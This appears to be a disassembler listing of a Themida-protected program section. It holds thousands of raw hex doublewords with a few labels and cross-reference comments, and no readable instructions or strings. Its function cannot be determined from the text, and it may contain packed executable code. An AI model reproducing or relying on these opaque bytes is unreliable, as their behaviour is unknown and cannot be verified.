		dd 0F000000h, 182h, 8C66F800h, 50006AC8h, 3E8h,	0C3582000h
		dd 24448958h, 24448104h, 1B04h,	0C3504000h, 3319A06Fh
		dd 0CB00FF00h, 11850F60h, 0E9000000h, 0Ch, 0CA86A4DDh
		dd 0CF8E44FAh, 0DF98E090h, 11E9h, 3BEBC200h, 0B598A60Eh
		dd 4FA1E100h, 52D855DFh, 2461FECBh, 6660F503h, 288DE81h
		dd 14E8h, 0E4B8D300h, 12FE3A0Ah, 1F055D19h, 9F0013C5h
		dd 1A332BA7h, 615BF899h, 850FC00Ah, 112h, 74B58DFCh, 0E9061893h
		dd 0Eh,	889E5D68h, 1A97E254h, 0FD492175h, 858B7AB3h, 6189433h
		dd 816660FCh, 61DD29E7h, 11E950h, 0AB10000h, 0D9587B65h
		dd 1D24734Eh, 0DCCB2C9h, 89910F1Bh, 8C0F2414h, 0Fh, 0AE9h
		dd 394E7F00h, 0E712D436h, 0F415ECDh, 0FE244C01h, 1820Fh
		dd 5AF80000h, 0E855006Ah, 3, 5DC35D20h,	4246C89h, 4244481h
		dd 19h,	0EC35545h, 0E9ADDC9Ch, 83F9F917h, 6A24C2h, 3E856h
		dd 5E200000h, 74895EC3h, 44810424h, 150424h, 56460000h
		dd 0FCCE2C3h, 18Dh, 8966F500h, 10E9FC72h, 0DA000000h, 35DB9D57h
		dd 0B094751Fh, 84343E0Ah, 0C16B3E2Bh, 8B0F10CEh, 17h, 11830Fh
		dd 0CE90000h, 4000000h,	1C510DD2h, 0B639CE7Eh, 66C75E1Bh
		dd 0F9027289h, 0E9F904CDh, 78h,	0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 16h, 2DC35040h, 858BC12Bh, 6189433h
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Ch, 0C3C35040h
		dd 7A9B3493h, 9148591Ch, 74B58DF9h, 0F5061893h,	4559858Dh
		dd 6A0618h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 160424h
		dd 52420000h, 7B356FC3h, 0F8D0FFFCh, 8E5C8589h,	6A0618h
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1C0424h, 57470000h
		dd 0A01546C3h, 278E4C0Fh, 61F99BE3h, 0E857006Ah, 3, 5FC35F20h
		dd 4247C89h, 4244481h, 16h, 0E9C35747h,	0E9605DDAh, 6
		dd 0B224728Eh, 8B61BD19h, 188E5C85h, 6AC3F906h,	3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 16042444h, 46000000h
		dd 11F2C356h, 8F0FF5F2h, 0Eh, 9E9h, 14D11300h, 0B5E88862h
		dd 60F931D0h, 0E855006Ah, 3, 5DC35D20h,	4246C89h, 4244481h
		dd 1Ch,	41C35545h, 310BE929h, 9AC1661Eh, 9433BD83h, 0F000618h
		dd 7F85h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1D04h, 0C3524200h, 52FAF0B3h, 0C1A5CA5h, 0E9609E00h
		dd 14h,	0F12583BBh, 0D08338AAh,	0CF7D779Fh, 0ED93CA09h
		dd 0F5EB04BEh, 0DE9h, 4CB5000h,	0DAE57026h, 5E616961h
		dd 0C761CFCDh, 18943385h, 1013F06h, 53006A00h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1904h,	0C3534300h, 60904F8Ch
		dd 0F8F59FC9h, 7E9h, 3BBF6000h,	6108A441h, 20CDh, 0C00B0000h
		dd 708D3774h, 64BD8B0Ch, 0B906188Eh, 8,	492275A6h, 488BFA75h
		dd 609D8B30h, 3B06188Eh, 157F3458h, 0D26BD38Bh,	8BCA0304h
		dd 5C858901h, 0EB06188Eh, 0EB008B04h, 858B61C5h, 6188E5Ch
		dd 0AE9CFh, 0A80000h, 3317E81Ah, 0B32B27C6h, 18B0Fh, 8BF80000h
		dd 0BE9C0h, 0EFB20000h,	8A0h, 0
		dd 4F5E900h, 6BCB0000h,	0A4051AFBh, 73D26134h, 3BBD7203h
		dd 75F52ACBh, 703B7005h, 0A84DBD3Dh, 0F184F47Bh, 0C352C242h
		dd 0F69F0F6Ch, 1F4201CDh, 0DE169E66h, 0C7241F1Dh, 654ABA3Bh
		dd 52C24031h, 199A97C3h, 0F350C1A9h, 1D9E9383h,	8EA369ADh
		dd 8778BE2Eh, 53C326E3h, 7964CB63h, 987DED4Eh, 0DCB9298Bh
		dd 4175E547h, 0C043CF30h, 72E26350h, 8954815Dh,	0D5352C72h
		dd 393CFA90h, 4015DDD0h, 0E2631F26h, 6C4B4472h,	0A743EC7Ah
		dd 0FB9A0A6Ah, 0F44F8D4Fh, 10862BADh, 83C67F50h, 110862Bh
		dd 3E78F435h, 0E8B96701h, 42B21102h, 0BEE3627Ch, 3D10866Ch
		dd 35907E6Ch, 10866CE9h, 0C3D7009h, 97A8B8A1h, 7C27h, 0C7240300h
		dd 0C72A8757h, 4A515B5Fh, 0F2DD35C4h, 70971E18h, 7410867Dh
		dd 4618DA05h, 1B1B8BEDh, 7D5E8322h, 0F01D1086h,	5A301F8Fh
		dd 0A8A8CE5Bh, 15697h, 24320000h, 506155C5h, 920265F1h
		dd 86879BDh, 0A38CFC7Ch, 4319FB73h, 0A71E8EEEh,	1086F262h
		dd 0E1125CA0h, 813F27A4h, 8CFC83B0h, 0E60CB3DEh, 158DB6F1h
		dd 596545CEh, 868BA7EAh, 95754610h, 0D0A51594h,	0A570E063h
		dd 56C62497h, 7EEE5360h, 0A5188138h, 6530A022h,	0D2A4DCF9h
		dd 6254C425h, 0FD854A6Dh, 3EBD6E1Ch, 5ADBC8CEh,	0E34EACEAh
		dd 0E3104DFCh, 805897A8h, 34000000h, 6056C624h,	0BC82F253h
		dd 0E981F177h, 45B5362Bh, 0B7458451h, 0D7F0CE68h, 0A8EE5EDCh
		dd 0E5FEB138h, 0AE19C42Bh, 0EA39DC4Ch, 0E7EFC88h, 0A27F521h
		dd 2B9B1FABh, 4D3D1204h, 0D2EC5CDCh, 72D35FE1h,	143B1402h
		dd 0D742B876h, 180C61E8h, 5B7497A9h, 6A000000h,	9278E849h
		dd 56C624AAh, 81F15360h
		db 0BDh, 98h, 0Ch
byte_5B30AB	db 31h			; DATA XREF: Themida_:00579FB4o
		dd 6FCBF4A1h, 0B456C624h, 218CFD7Ah, 41D444A6h,	5D843F1Dh
		dd 20108600h, 4FB75B0Fh, 9773E362h, 0FB6179Ah, 1086F2CAh
		dd 0E957C724h, 44BFF7D8h, 1086F318h, 55F4DB5Ah,	97A81AE8h
		dd 970h, 0E7456E00h, 4867D75Bh,	0C9247AA2h, 0F53CF661h
		dd 614E6377h, 4FBF3C35h, 12BD6C47h, 70D3E0h, 0C04CA96Ah
		dd 0F3E4D242h, 0B056E777h, 496649FFh, 0A3AFEACh, 0FEB59134h
		dd 0F7C8169Bh, 0E151B2BFh, 2C9C1F14h, 0FF448BEAh, 7F2A1693h
		dd 68F47750h, 0E0B59A0Ah, 9680F053h, 68AE1E9Dh,	0FDF5E8D1h
		dd 0CFC737B4h, 9C1F0CFEh, 0D15C492Ch, 579DBD26h, 138h
		dd 0DB0BAB33h, 0F6304003h, 0FCCD169Bh, 7003D4BAh, 655237D0h
		dd 0B31001E9h, 0FE7DB243h, 189B888Eh, 0F2756EA8h, 545CB58Ah
		dd 0C9E6A8CFh, 0CC58D4CDh, 0E72F0070h, 100676FAh, 7C634A3Fh
		dd 5778E84Bh, 0F3D4FBB2h, 60552090h, 9DBD4DDDh,	6063h
		dd 0C0835900h, 1693CA99h, 3EE252D7h, 0AB957D6Dh, 4500DE0Eh
		dd 9086F23Ch, 4DA8EEBFh, 9086F204h, 0F14C6567h,	0FFAEE981h
		dd 0BC82B24Fh, 86F2E009h, 0AC082910h, 0E00DFA3Ch, 81868367h
		dd 6858321Dh, 25FA7166h, 374ABCE1h, 86A14B8Eh, 4E613210h
		dd 9209A7h, 1D3F0000h, 86A163A6h, 51390A10h, 0DB0BABE9h
		dd 5DD8D903h, 36D4A9EDh, 9C062B87h, 7D415216h, 5145B534h
		dd 93A08E7Ch, 2D74CF30h, 0D01693E6h, 0EE45D0FFh, 70992C8Dh
		dd 0FB1693E6h, 0B211052Ah, 1693E768h, 9136A910h, 2F72D132h
		dd 0CE1693E7h, 0A70CD2FDh, 0E9E6D040h, 74447201h, 2C97994Ch
		dd 20A15C60h, 0AEB09FB0h, 2AB283A9h, 0DE8CD735h, 6C5BED58h
		dd 0C9DA108Ah, 0E757D4CDh, 7A65D4AFh, 0EEFC24D4h, 7AE6BFF8h
		dd 794C123Dh, 1AB1C4AFh, 34F89DAEh, 0CCE30BABh,	93A9EBD8h
		dd 3C07D7F8h, 169F9AEAh, 0C14DA809h, 0B8FED141h, 0A27323C7h
		dd 8CFC7F74h, 9C0481B2h, 5D9C8209h, 3E7C8F0h, 0C838BB68h
		dd 656167CEh, 71F81927h, 9E2A893Eh, 776CAA1Ah, 82AD82F2h
		dd 4FBF3CF3h, 0EC578547h, 45671A5h, 96937748h, 9174A212h
		dd 0B112B528h, 0FC7FB441h, 102A8A8Ch, 0FE000000h, 6DDD624Fh
		dd 6CC5977Dh, 0B8288410h, 243FF397h, 475C5ACAh,	314274E4h
		dd 3E3363D3h, 544D49B9h, 433066D6h, 5A474FBFh, 433066D6h
		dd 4F6452C2h, 783C7AEAh, 81E38953h, 4C3h, 4BA5200h, 29000000h
		dd 1C875AD3h, 62685C24h, 8900007Ah, 8957241Ch, 4C781E7h
		dd 83000000h, 3C8704EFh, 3C895C24h, 19685524h, 5D0C2560h
		dd 0E581D5F7h, 465C5196h, 47AB951h, 0E9813BA7h,	5BC41E2Dh
		dd 43BBE981h, 0D1F75903h, 0E981D1F7h, 4AA025B3h, 8959CD29h
		dd 8B545DEBh, 0C481243Ch, 4, 8B951h, 0F9010000h, 0C8B1989h
		dd 4C48324h, 5F2434FFh,	0FF04C483h, 835B2434h, 0BFE904C4h
		dd 56FFFCE4h, 8EB7A245h, 0B86AA5D8h, 6189905h, 0E0FFC503h
		dd 35CEC1D2h, 86F204Fh,	2AEBC006h, 785146CDh, 1A8F0787h
		dd 73053B55h, 0BD80810h, 33602E47h, 7E35B719h, 22E59C78h
		dd 714842E3h, 31E5383Ah, 59A29A3Dh, 7D0E6BBBh, 0F08D359h
		dd 10A509ADh, 2193A484h, 3A510742h, 1C981AA5h, 148E9h
		dd 6400h, 6800h, 6C00h,	7000h, 7400h, 7800h, 7C00h, 8000h
		dd 0C400h, 0C800h, 0CC00h, 0D000h, 0D400h, 0D800h, 0DC00h
		dd 0E000h, 0E400h, 0E800h, 0EC00h, 0F000h, 0F400h, 0F800h
		dd 0FC00h, 10000h, 38h dup(0)
		dd 5B348500h, 0C1C20300h, 0F6858D00h, 0E8061899h, 7, 0DE7CC47Eh
		dd 0E9F4A230h, 10h, 588E3749h, 90A4DF2h, 19DAAD3Fh, 86C28915h
		dd 13E85Ah, 0EA260000h,	2FE9958Eh, 0F48F2143h, 4DAE1E69h
		dd 0E9EAB6Eh, 0DE8D3h, 2ABC0000h, 0BFEF6F76h, 5A3E041h
		dd 8B7A3705h, 15243D9Dh, 895A5A06h, 189B3685h, 9DE28006h
		dd 9C585C6h, 0BF540615h, 6B857B67h, 4E8C4B6h, 29000000h
		dd 66EE6268h, 50AA77B9h, 310F5250h, 448B585Ah, 0D3BB0424h
		dd 8B38A3FDh, 89F6B700h, 66042444h, 586CD6BFh, 1459958Bh
		dd 0B5FF0615h, 6152811h, 0C519D89h, 858D0615h, 61872BCh
		dd 10898D09h, 0D0FF0615h, 85893EB7h, 6189B3Ah, 0BF3B70Fh
		dd 151D9DB5h, 4EE906h, 8D8B0000h, 6152CE5h
dword_5B3644	dd 36B58B56h, 8906189Bh, 36858306h, 406189Bh, 8D60C35Eh
					; DATA XREF: Themida_:0057A654o
					; Themida_:0057B434o
		dd 1899F6B5h, 560FEB06h, 36FF006Ah, 9B3A95FFh, 835E0618h
		dd 3E8304C6h, 61EC7500h, 3D9D33C3h, 0E8061523h,	7, 54DC9593h
		dd 66104026h, 5E6275B9h, 9C27858Dh, 0F2B90618h,	894750F5h
		dd 15340185h, 14E806h, 0A9590000h, 76994B62h, 94FEE49Ch
		dd 0BDE99A3h, 536221ACh, 8D33A9ACh, 6152709h, 0C981665Fh
		dd 0C7818467h, 594Dh, 8E9h, 12739C00h, 2CF574BCh, 161FBA98h
		dd 0EFBB0000h, 8B18EA9Dh, 0E2E68107h, 810CE80Ch, 0D58377C0h
		dd 69B50158h, 81061524h, 0AA4977C0h, 0FE94Dh, 0F3600000h
		dd 2D9CF564h, 6070FB77h, 4A72CCE9h, 0E5F08110h,	897446DBh
		dd 150D49B5h, 81078906h, 0AC7348DEh, 0D4EF8112h, 8B46322Eh
		dd 1527418Dh, 0D0C78106h, 0F46322Eh, 0EA83CFBFh, 1B850F01h
		dd 60000000h, 8BF18B66h, 1515ED9Dh, 28E96106h, 2E000000h
		dd 83EC34C6h, 22D84564h, 0B58B133Dh, 6151909h, 0FFFF7AE9h
		dd 0B58A08FFh, 0D50225FAh, 788A6D3Eh, 0BF00AFAh, 0E992C12Eh
		dd 0F4h, 1DADA46Fh, 8A055C97h, 76A18883h, 7A0E0A1Dh, 33538FDDh
		dd 7D2F6D37h, 2D773D55h, 0D77DD57Fh, 0F73D577Dh, 0D575DF6Dh
		dd 577DD773h, 5FEDF73Dh, 335375D5h, 7D2F6D37h, 2D773D55h
		dd 0D77DD57Fh, 171E577Dh, 2075DF6Dh, 20602060h,	60E0E020h
		dd 7B68AC20h, 0A1E4A9F7h, 93B2D020h, 9DB7EDA6h,	0A3F291B9h
		dd 206020ACh, 20602060h, 60E0E020h, 33537520h, 7D2F0D0Ah
		dd 20602055h, 28602060h, 0F0362BA7h, 0F360C950h, 96A1EFB6h
		dd 0A7B4E0F7h, 7192B8E3h, 0B9E9B3F4h, 2060F76Dh, 20602060h
		dd 0F7202060h, 351ADF6Dh, 577DD773h, 5FEDF73Dh,	335375D5h
		dd 7D2F6D37h, 2D773D55h, 0D77DD57Fh, 0F73D577Dh, 0D575DF6Dh
		dd 577DD773h, 5FEDF73Dh, 335375D5h, 7D2F6D37h, 0E0A1E35h
		dd 5D340700h, 59A0A3D2h, 1Eh, 3	dup(0)
		dd 0C63E9h, 0A0E46800h,	3E90618h, 68FFFCE0h, 618A1B5h
		dd 0FCDFF9E9h, 0A28468FFh, 0EFE90618h, 68FFFCDFh, 618A368h
		dd 0FCDFE5E9h, 0A3F168FFh, 0DBE90618h, 68FFFCDFh, 618A495h
		dd 0FCDFD1E9h, 0A5B268FFh, 0C7E90618h, 68FFFCDFh, 618A6B6h
		dd 0FCDFBDE9h, 0A79468FFh, 0B3E90618h, 68FFFCDFh, 618A86Dh
		dd 0FCDFA9E9h, 0A91D68FFh, 9FE90618h, 0D8FFFCDFh, 1807EE5Eh
		dd 0D74C2999h, 200FE656h, 0CE6530A0h, 8219FC6Ch, 0A4149609h
		dd 6DDD62D1h, 0A9199B88h, 64D457CCh, 0AD184691h, 169E6C64h
		dd 0DBD88607h, 0FF6FCC58h, 0D5E9E6D0h, 9E6C2B6Eh, 29C1D216h
		dd 57C724F1h, 0ABEE5587h, 521086F2h, 81C56A49h,	0F9D618DFh
		dd 1C392311h, 605807D5h, 24E585C7h, 4A8B53C3h, 9F1FA58Eh
		dd 14680E1Ah, 0B8A5E6F1h, 0C81F1B3Ch, 79C3E08Eh, 0A40BA391h
		dd 0BD2D8E39h, 0D2ED2D8h, 861E1336h, 33C7110h, 0FC55659Fh
		dd 825C7344h, 9C6157C3h, 2B9AC416h, 169372E6h, 6120BC85h
		dd 0FA2FA385h, 0B08135D5h, 9E0E6D86h, 5BCB28F7h, 5FCF2E83h
		dd 969B81ABh, 9F70A616h, 0C78CD0EBh, 84E41693h,	893C2214h
		dd 1693C740h, 99191A2Bh, 88BC2531h, 2A057860h, 2DA009ECh
		dd 8AA5159Ah, 0C007B6DFh, 0D10BD343h, 93B72F72h, 0DFDCE16h
		dd 0E252B17Eh, 0C652D7DCh, 0C8C5F161h, 180903E7h, 4CEB2B9Bh
		dd 0EE4D7A65h, 9F0A977Eh, 259DBD5Fh, 4F8h, 57C72401h, 59C92A87h
		dd 0D6E83B1h, 0EB2F89Dh, 1CD700DEh, 0DE03C238h,	9D1086F7h
		dd 5A16AB8Ch, 6577BDADh, 9581F14Ch, 0BFF3D2B8h,	0DC169B98h
		dd 3D9A6EFBh, 0BDAD2576h, 67CEC8D9h, 1693DA26h,	7D7568CFh
		dd 4E48B834h, 8F1A9971h, 2F9DBD46h, 78128202h, 3BCCh, 0BABE000h
		dd 0F04003DBh, 8D169BF5h, 9BCA2BCh, 1693F1C0h, 46F09AABh
		dd 6ADA5B58h, 0F1F82580h, 8CEE1693h, 0AB091A1Ch, 0F7AFB3Bh
		dd 30E743A0h, 1D61CC7Dh, 0CBE79DBDh, 0C3000000h, 5F57C724h
		dd 0BDE45F7Dh, 0DE1086F2h, 86F22267h, 48F8C910h, 3BCE6077h
		dd 0F5DBAEEFh, 26961415h, 0F48003F0h, 310E0878h, 80E7E02h
		dd 301E1837h, 78128203h, 2DC838BBh, 86125488h, 749EB710h
		dd 643CF5D4h, 0B536F397h, 83B045h, 6414A690h, 91342A34h
		dd 10868B48h, 0B6886233h, 9C7C4B0Fh, 94613216h,	1C225226h
		dd 8B1186A9h, 0CA94A510h, 0FC990969h, 0CA53C327h, 0B1BF8FB1h
		dd 2044C0B6h, 8000009h,	0C8573EAEh, 71CF969h, 0D05F36A6h
		dd 0BE750070h, 7229CC3Ch, 0B4248639h, 7DED52E1h, 0B9298B98h
		dd 74E447DCh, 9D2836A1h, 169E5274h, 24C676F7h, 70BF56C6h
		dd 3514AB13h, 0BA8613B3h, 0D6E15640h, 5B744B5Dh, 0BAB6EBAh
		dd 0FCD903DBh, 0FDABAFFAh, 0F7A64410h, 169B583Bh, 0BE457142h
		dd 1693439Fh, 4BFEB168h, 9DBDCADEh, 0B366h, 0C7244200h
		dd 587D5F57h, 80FC8E8Dh, 12994710h, 39B97A10h, 3666CDC9h
		dd 2A1086D9h, 67BC59C9h, 0BCA29404h, 0B4B43E9Bh, 864BC811h
		dd 0D5E2B310h, 8763C448h, 213D6D11h, 9CFCFEA2h,	0C7AE7F16h
		dd 0CFEF1FDFh, 8895A474h, 0D12C5910h, 77583561h, 78E84A67h
		dd 0B424869Dh, 0BF13B6E9h, 338FA5B1h, 84Fh, 8ED5DD9h, 4F26961Bh
		dd 20F565E0h, 583DAD13h, 1EF767CBh, 2B8F0289h, 0E245DABBh
		dd 308CA372h, 7DFE35C0h, 6F5F680Dh, 9E538DD4h, 8DAF7016h
		dd 0BF56C624h, 25871370h, 89A61699h, 0F69FB08Dh, 77D85F54h
		dd 86F285CCh, 78576810h, 71A9413Eh, 71E1624Fh, 71A24845h
		dd 0AA74A212h, 0C32B60ADh, 0EFCF1A5h, 472E9E1Dh, 6F0FE266h
		dd 0F43D1F3Fh, 300D0979h, 86094C95h, 6C1E2F10h,	0F75BEAh
		dd 8976169Bh, 896B929h,	5962FEBDh, 97C77709h, 62A0FCC7h
		dd 94A51242h, 386818A2h, 448D3826h, 271A7552h, 0FCE27416h
		dd 523E63E2h, 0D0BD1A75h, 3D2D0272h, 6CC4E35Eh,	95A97A1Ch
		dd 0C6AF1F9Ch, 936ADA59h, 0ACE0B45Eh, 808FF301h, 0A8000007h
		dd 0E837DE4Eh, 0A77C1989h, 0F03FD646h, 0DE552090h, 9209EC5Ch
		dd 0D444A619h, 1D8DF241h, 0D949AB78h, 1484E73Ch, 0BD885681h
		dd 169E5094h, 24A69657h, 0D95F57C7h, 0E959D925h, 0D14DF8C6h
		dd 32169C20h, 80E7E01h,	61635337h, 93DCBFE2h, 4A6D3E16h
		dd 18F975D0h, 9AA48B8Bh, 6BAB1B99h, 0D9DF892h, 37253969h
		dd 64B1C51Eh, 650536E8h, 8A9E7936h, 0BFB99E10h,	4FD0EED7h
		dd 8C9D01E9h, 9EFF81B2h, 0ABAAE227h, 97B8891Ch,	7ABCAE9Fh
		dd 0AB4ABA39h, 8F87F774h, 0A40564CDh, 0ABAAF821h, 9DB2831Ch
		dd 0CCC6A499h, 0F565E02Ch, 0DBE3CCC1h, 0B2D79468h, 3608191Ah
		dd 0BF4A2F28h, 6E69FD9h, 7445C931h, 781244BBh, 2DC838BBh
		dd 110575F6h, 97A7D7A7h, 0D96BE02Ch, 0E9B48504h, 0A5924DAAh
		dd 9C37BBB9h, 8C000006h, 0FC33C232h, 0BB680D7Dh, 0F42BCA3Ah
		dd 0C2710474h, 6645D040h, 98086A25h, 51C126FDh,	9D0D6FC4h
		dd 58C82BF8h, 81440ABDh, 169E5158h, 4FDA6223h, 40CA586h
		dd 0BBAF08F6h, 0EDF121D5h, 9FBA8E56h, 203E0F16h, 7E40B013h
		dd 0C350B835h, 7502EA4Eh, 0B58A8CA3h, 0DF8BFB7Eh, 0BB1C9F94h
		dd 9E8AC108h, 0B49BAC16h, 14979C82h, 0ED9D72A4h, 42A7F3C3h
		dd 0C4EBE4D2h, 58D34BFAh, 81921084h, 0BF20B7FCh, 3EC6B0B1h
		dd 613h, 4C299915h, 13E252D7h, 6431A11Ch, 1CF969CFh, 6233A307h
		dd 0E74B4645h, 2E919E77h, 0EC48D7BEh, 298A997Ch, 0E3EBDCB9h
		dd 9E513960h, 0F943C416h, 93B68D4Fh, 0CD1086F2h, 0C5BAFC6Ch
		dd 0FAA04A5Bh, 7D481646h, 169F903Eh, 61526C3Dh,	8CA372E2h
		dd 0F177BF2Fh, 1B411D4Dh, 6C5F8241h, 0D1E169Eh,	11AE3E5Dh
		dd 1E2F1087h, 85401E40h, 1CB7C95Ch, 0AF5C0E1Fh,	1539DC4Ch
		dd 0C9557C47h, 7181CB7h, 0C9458C37h, 17281CB7h,	0C535B673h
		dd 679767D1h, 38A0EC57h, 74451AADh, 0A67A4EA9h,	8BE70DABh
		dd 56Fh, 28CD3DB9h, 6F0676FBh, 40D545C0h, 781D8DF3h, 3ED747ABh
		dd 0B6F2269h, 0C225FA9Bh, 106CC352h, 0DD5ED5A0h, 0F3F886Dh
		dd 9E566DB4h, 0AD8F1016h, 5F57C724h, 0F481F152h, 0FCC2F2C6h
		dd 9BFB1149h, 0E1647A16h, 1693FBB8h, 28987243h,	290676FBh
		dd 0FB4786EDh, 89301693h, 2786F356h, 2F289DBDh,	0D8E5CB46h
		dd 0B37D3C8h, 2Fh, 0DB0BAB1Fh, 0F5F04003h, 0BC8D169Bh
		dd 0F1D2FB7Ah, 0A6041693h, 91F30036h, 2292F221h, 35A811F4h
		dd 2A95FCAEh, 0BD1D9A1Fh, 0C1229Dh, 4FF60000h, 7D6DDD62h
		dd 9FBF2F8Ch, 0B6C317B6h, 0FFEB0952h, 2E9E1C15h, 878FBE8h
		dd 2696150Eh, 623A724Fh, 0CD2E1086h, 0D030815Dh, 0B1593660h
		dd 7EEE4DE2h, 0DE0EB238h, 6CF94500h, 0AB7C169Bh, 0AA1A9E93h
		dd 0FE23A26Ch, 7D169368h, 8CE783ACh, 0A90E5A1Eh, 2F00FD39h
		dd 0B40F4D0Fh, 1693686Dh, 704B3F10h, 108B0728h,	49B93E73h
		dd 269A704Dh, 8AE84915h, 46A47B1Ah, 816A47D6h, 7F75B1BFh
		dd 45203h, 0E858D600h, 2393160Dh, 0F060DD52h, 3AAA0E25h
		dd 0F666C45Bh, 9003881Fh, 0FC33C232h, 0B56A0B7Bh, 12EC737h
		dd 50831282h, 5792B78Eh, 9859169Eh, 56C624A4h, 0A31370BFh
		dd 0A313969Bh, 0AB80ACC7h, 4003DB0Bh, 169BF5F0h, 0BCA2BC8Dh
		dd 93F1C009h, 0F09AAB16h, 0D77F5846h, 0BF5ED6DEh, 0E9D8BA7Fh
		dd 250A89BBh, 0E6375645h, 0CB291693h, 0E1465B5Bh, 0D02C4571h
		dd 0EE593660h, 0DB4F943Bh, 3DC08934h, 0C39DBD2Eh, 0BBh
		dd 57C724D7h, 56C62A87h
		dd 82C77E60h, 691086F2h, 99937758h, 7CBA2A88h, 86F6C5F9h
		dd 0EC78FB10h, 83421C8Ch, 1086F65Eh, 52230C1Dh,	0A8EE5EDDh
		dd 0FB6BCDE6h, 7228C2BBh, 5C09ECEh, 169BF039h, 1C8A6B3Ch
		dd 49B1105Ch, 0F04153AAh, 331C33BEh, 929F982Bh,	9C9E108Bh
		dd 0AA40E029h, 95BA8B1Ch, 9A0A68C9h, 0EE1C93C4h, 94410DBBh
		dd 2A8897F6h, 5900E3BAh, 0D1E3B1C0h, 34E71h, 0EC5CDA00h
		dd 27971A09h, 0F464E14Eh, 3EAE1221h, 0FA6AC857h, 940F7C1Bh
		dd 60CFA616h, 99866FDFh, 55CAAB1Bh, 448F66D6h, 5466AB1Ah
		dd 8405169Eh, 56C624B8h, 0A31370BFh, 0C42B88D2h, 247EB654h
		dd 525F57C7h, 940465F1h, 0F382ADA2h, 78E84A67h,	5244B43Bh
		dd 202A8D7Dh, 0E1FD2DD1h, 0F20148FBh, 0DBEC1086h, 262F2D2Fh
		dd 22633EC2h, 7A29C195h, 169B6396h, 5EDCD5D7h, 6ED7A8EEh
		dd 1693502Bh, 0CA76E645h, 50143D08h, 0C6D71693h, 8D38C6E9h
		dd 0B2A9CAA8h, 6C9F1C5h, 8EFE8181h, 5217F3A9h, 367B617Dh
		dd 0FAA941B1h, 0BCD7216Ah, 4EDCDAEBh, 0DC2482AAh, 0F9A6A285h
		dd 0CC3D08D6h, 8FA6FF52h, 3093A0BEh, 332935C0h,	0FE5A4990h
		dd 876334A6h, 0E4B9298Ah, 7741EF7h, 707E06F0h, 0B8000002h
		dd 0F827CE3Eh, 0B76C0979h, 2FC636h, 0AE851080h,	6239DC4Ch
		dd 84F47629h, 4DBD42F1h, 89F97BA8h, 44B437ECh, 8D3826B1h
		dd 169E5544h, 4FD66627h, 0F293B68Dh, 495A1086h,	0AB1370A1h
		dd 843CE7EDh, 80E21B0h,	1B8BED46h, 4575496Fh, 44B6CA79h
		dd 6637169Bh, 766CB8Fh,	50C4F397h, 233E1045h, 36AB4BDFh
		dd 7F5046B6h, 4000BA50h, 130373F4h, 0C4577A49h,	5161693h
		dd 0F839052Ah, 350A0C7Ch, 0DC44FF55h, 0A1108ECDh, 63500E90h
		dd 0C4276CDCh, 7D6D6254h, 3F5EE31Eh, 78C474C1h,	0BE8F87F7h
		dd 0A6F6CD91h, 0A7DE24B4h, 661AA096h, 0AC9D2836h, 0AFD852B2h
		dd 0C73C09Eh, 0ECDB49A4h, 745B7542h, 1073C096h,	9AB52584h
		dd 57C724FBh, 64EC7C6h,	0A22214E9h, 197h, 30C53591h, 670E7E03h
		dd 28CD3DB8h, 700575FBh, 26CF3FC3h, 23873A71h, 0EA4DE2B3h
		dd 28849B7Ah, 0E546DDB8h, 2737A075h, 9E5A759Ch,	0C577F816h
		dd 5F57C724h, 0E9F525D9h, 9C032A5Ah, 0FB9AAB16h, 0F09061B2h
		dd 0FEE0FEC0h, 93E20247h, 0FFD8E916h, 0B113B92h, 0E5C0AA82h
		dd 108E747Dh, 0DC05C09Eh, 9F1CAC6Bh, 0EBBCDC8Eh, 47C9B013h
		dd 0CA6EC553h, 999AC49Ah, 9E6FA717h, 9FFDD1ECh,	0AF80D381h
		dd 0F13D0167h, 1BF42292h, 0AE9B2A34h, 0ADDDADC9h, 848FFF80h
		dd 817EB828h, 20A390AEh, 8BA41494h, 46B635EAh, 0A1A7B2B7h
		dd 0AB072DECh, 0E7h, 0C055C541h, 0F79E0E73h, 0B85DCD28h
		dd 95056Bh, 0B65FCF33h,	73F7AAE1h, 3ABD7203h, 78F42BCAh
		dd 35B66D08h, 0B7A730C5h, 9E5BC50Ch, 55E7A816h,	5F57C724h
		dd 0E9F525D9h, 9BFBAE5Ah, 348FCD16h, 1693FBEDh,	0EBCBBF90h
		dd 0CB6B3BDAh, 0F6EC39Bh, 0BD920283h, 98086879h, 5B81D3B7h
		dd 8961D156h, 8A86BE1Ah, 46FDBF10h, 1CAB5503h, 345DE8EAh
		dd 0B71CAB55h, 0D8E6C9E6h, 551A3F06h, 0D0E11CABh, 84E7FC3Ah
		dd 51B28114h, 0EEE7B5E1h, 62C680DBh, 0F083E5F2h, 0C0A7AFEh
		dd 13B1C33h, 9982A8FAh,	0D05C4723h, 45201125h, 0D903EFDEh
		dd 64C1276Ah, 5BD9C637h, 0E526C4EBh, 0DB7F1686h, 0C11F4201h
		dd 0CDDE3764h, 1F8FEC1Dh, 36A60A17h, 29940500h,	0C8AD1D9Eh
		dd 2E68D85Bh, 0AC6h, 6D2FE200h,	3F77E744h, 24789C4Eh, 475C5ACAh
		dd 314274E4h, 3E3363D3h, 544D49B9h, 433066D6h, 5A474FBFh
		dd 433066D6h, 4F6452C2h, 783C7AEAh, 81E68956h, 4C6h, 4EE8300h
		dd 8B243487h, 89572424h, 4C781E7h, 83000000h, 3C8704EFh
		dd 3C895C24h, 3D1B6824h, 34890000h, 9EB46824h, 3C8B0618h
		dd 4C48324h, 172668h, 24248900h, 4240481h, 5E000000h, 4EC81h
		dd 3C890000h, 242C8124h, 0AE54AB1h, 8108468Fh, 4AB10846h
		dd 34FF0AE5h, 0C4815E24h, 4, 5F2434FFh,	0E904C483h, 0FFFCD3B2h
		dd 0E7CE8469h, 11F4F7F9h, 18AA29B8h, 0FFC50306h, 6CE546E0h
		dd 1C2E6516h, 26E7AF74h, 0FD1AFC04h, 267CA15h, 0C9DF887Ah
		dd 5D11C07Ah, 8F4FEB69h, 0ABFA251Ch, 0DAC6A108h, 0D41CA4ACh
		dd 0E45C5CD2h, 3134CE00h, 27CE1BF5h, 34D129B3h,	2AC7DD5Bh
